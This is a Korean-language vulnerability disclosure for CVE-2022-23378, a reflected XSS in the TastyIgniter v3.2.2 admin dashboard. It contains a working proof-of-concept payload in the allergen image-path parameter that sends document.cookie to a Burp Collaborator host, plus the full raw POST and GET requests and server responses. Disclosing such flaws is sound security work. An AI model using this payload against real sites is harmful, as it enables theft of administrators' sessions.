CVE-2022-23378 : TastyIgniter v3.2.2 레스토랑 CMS의 반사형 XSS

인증된 반사형 XSS가 TastyIgniter v3.2.2 관리자 대시보드에 존재합니다.

Mitre URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23378

NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2022-23378

개념 증명 (POC):

관리자 대시보드 알레르겐:

영향받는 URL: /admin/allergens/edit/1?items%5B0%5D%5Bpath%5D=%2fdoesnotexist%3cscript%3efetch('https%3a%2f%2fvgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net'%2c%7bmethod%3a%20'POST'%2cmode%3a%20'no-cors'%2cbody%3adocument.cookie%7d)%3b%3c%2fscript%3e%20

영향받는 소스 코드 파일: ./vendor/league/flysystem/src/FileNotFoundException.php

관리자 대시보드에서 알레르겐을 업데이트할 때, 알레르겐에 이미지를 첨부하는 옵션이 제공됩니다. 첨부 시 이미지 데이터에 관한 매개변수가 포함된 POST 요청이 제출됩니다. items%5B0%5D%5Bpath%5D 매개변수는 JavaScript 주입에 취약하여 교차 사이트 스크립팅(XSS)의 잠재적 벡터가 됩니다. XSS 페이로드를 포함하면 서버가 해당 XSS 페이로드를 포함하고 실행하는 오류 메시지로 응답합니다.

XSS 페이로드가 포함된 원본 POST 요청:

POST /admin/allergens/edit/1 HTTP/1.1
Host: <REDACTED>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-IGNITER-REQUEST-HANDLER: formThumb::onAddAttachment
X-CSRF-TOKEN: Y----8<----C8n
X-Requested-With: XMLHttpRequest
Origin: http://<REDACTED>
Connection: close
Cookie: tastyigniter_session=ey----8<----n0%3D; admin_auth=ey----8<----0%3D; ti_activeFormSaveAction=%22close%22
Cache-Control: no-transform

items%5B0%5D%5Bname%5D=image.jpeg&items%5B0%5D%5Bpath%5D=%2fdoesnotexist%3cscript%3efetch('https%3a%2f%2fvgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net'%2c%7bmethod%3a%20'POST'%2cmode%3a%20'no-cors'%2cbody%3adocument.cookie%7d)%3b%3c%2fscript%3e%20&items%5B0%5D%5Bsize%5D=192&items%5B0%5D%5BlastModified%5D=1642193919&items%5B0%5D%5Btype%5D=file&items%5B0%5D%5BpublicUrl%5D=http%3A%2F%2F<REDACTED>%2Fassets%2Fmedia%2Fuploads%2Fimage.jpeg

01_Original_POST

서버 응답:

HTTP/1.1 500 Internal Server Error
Date: Fri, 14 Jan 2022 21:21:27 GMT
Server: Apache/2.4.38 (Debian)
Cache-Control: no-cache, private
Set-Cookie: tastyigniter_session=e----8<----In0%3D; expires=Fri, 14-Jan-2022 23:21:27 GMT; Max-Age=7200; path=/; httponly; samesite=lax
Content-Length: 183
Connection: close
Content-Type: text/html; charset=UTF-8

File not found at path: uploads/doesnotexist<script>fetch('https:/vgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net',{method: 'POST',mode: 'no-cors',body:document.cookie});</script>

또한, 요청은 영향을 받는 매개변수가 URL에 포함된 GET 요청으로 변경될 수 있어, 공격자가 피싱된 피해자를 대상으로 익스플로잇할 성공 가능성을 더욱 높입니다.

변경된 GET 요청:

GET /admin/allergens/edit/1?items%5B0%5D%5Bpath%5D=%2fdoesnotexist%3cscript%3efetch('https%3a%2f%2fvgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net'%2c%7bmethod%3a%20'POST'%2cmode%3a%20'no-cors'%2cbody%3adocument.cookie%7d)%3b%3c%2fscript%3e%20 HTTP/1.1
Host: <REDACTED>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-IGNITER-REQUEST-HANDLER: formThumb::onAddAttachment
X-CSRF-TOKEN: Y----8<----C8n
X-Requested-With: XMLHttpRequest
Origin: http://<REDACTED>
Connection: close
Cookie: tastyigniter_session=ey----8<----n0%3D; admin_auth=ey----8<----0%3D; ti_activeFormSaveAction=%22close%22
Cache-Control: no-transform

02_Modified_GET

응답은 동일합니다:

HTTP/1.1 500 Internal Server Error
Date: Fri, 14 Jan 2022 21:21:27 GMT
Server: Apache/2.4.38 (Debian)
Cache-Control: no-cache, private
Set-Cookie: tastyigniter_session=eyJpdiI6Ik16bUtDZUV6eEw3RzByeG1LTWNBdUE9PSIsInZhbHVlIjoiQUgrTkJ1b2tmMzlFenVDVFlZZ1FHa0d5eVVITUFvT0t0YS9vcklNaHRKMnJYQjYwUyt5S3EySVpLWkpCSzR0YkhTS283VHV4d21KRjhCeHBZQ2NXbGlVRFVBcm9jR1dZbVlsdGZEdzFGZzQwQ2VjVjN1VkZ6ZWh2NmRGZis5dFEiLCJtYWMiOiI3YWQ4ZTM0NzBkZWIyZTNmNmE2OWM3NmJkMWJkYzgwNWYzYzRkNjQ2NjY5OGU2NzhkNjY5YTRlMWNmOTFiMjY0IiwidGFnIjoiIn0%3D; expires=Fri, 14-Jan-2022 23:21:27 GMT; Max-Age=7200; path=/; httponly; samesite=lax
Content-Length: 183
Connection: close
Content-Type: text/html; charset=UTF-8

File not found at path: uploads/doesnotexist<script>fetch('https:/vgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net',{method: 'POST',mode: 'no-cors',body:document.cookie});</script>

03_Server_Response